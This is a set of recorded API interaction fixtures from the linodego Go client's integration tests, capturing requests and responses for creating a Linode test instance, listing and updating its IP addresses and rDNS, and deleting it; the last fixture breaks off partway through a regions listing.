golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestIPAddress_Update.yaml000066400000000000000000000403741455402072200314270ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-y652lup03ao2","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 39426831, "label": "go-test-ins-wo-disk-y652lup03ao2", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["194.195.113.106"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "638" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-7w3q04vfcr33","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/39426831/configs method: POST response: body: '{"id": 41972311, "label": "go-test-conf-7w3q04vfcr33", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/39426831/ips method: GET response: body: '{"ipv4": {"public": [{"address": "194.195.113.106", "gateway": "194.195.113.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-113-106.ip.linodeusercontent.com", "linode_id": 39426831, "region": "ap-west"}], "private": [], "shared": [], "reserved": []}, "ipv6": {"slaac": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 39426831, "region": "ap-west", "public": true}, "link_local": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 39426831, "region": "ap-west", "public": false}, "global": []}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "770" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"rdns":"194-195-113-106.ip.linodeusercontent.com"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/194.195.113.106 method: PUT response: body: '{"address": "194.195.113.106", "gateway": "194.195.113.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-113-106.ip.linodeusercontent.com", "linode_id": 39426831, "region": "ap-west"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "232" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/39426831 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestIPAddresses_Instance_Get.yaml000066400000000000000000000351651455402072200331020ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-t1b6493ge5nf","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 39426830, "label": "go-test-ins-wo-disk-t1b6493ge5nf", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["194.195.113.104"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "638" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-6ukn32a10w5w","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/39426830/configs method: POST response: body: '{"id": 41972309, "label": "go-test-conf-6ukn32a10w5w", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/39426830/ips method: GET response: body: '{"ipv4": {"public": [{"address": "194.195.113.104", "gateway": "194.195.113.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-113-104.ip.linodeusercontent.com", "linode_id": 39426830, "region": "ap-west"}], "private": [], "shared": [], "reserved": []}, "ipv6": {"slaac": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 39426830, "region": "ap-west", "public": true}, "link_local": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 39426830, "region": "ap-west", "public": false}, "global": []}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "770" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/39426830 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestIPAddresses_List.yaml000066400000000000000000000463411455402072200314500ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": 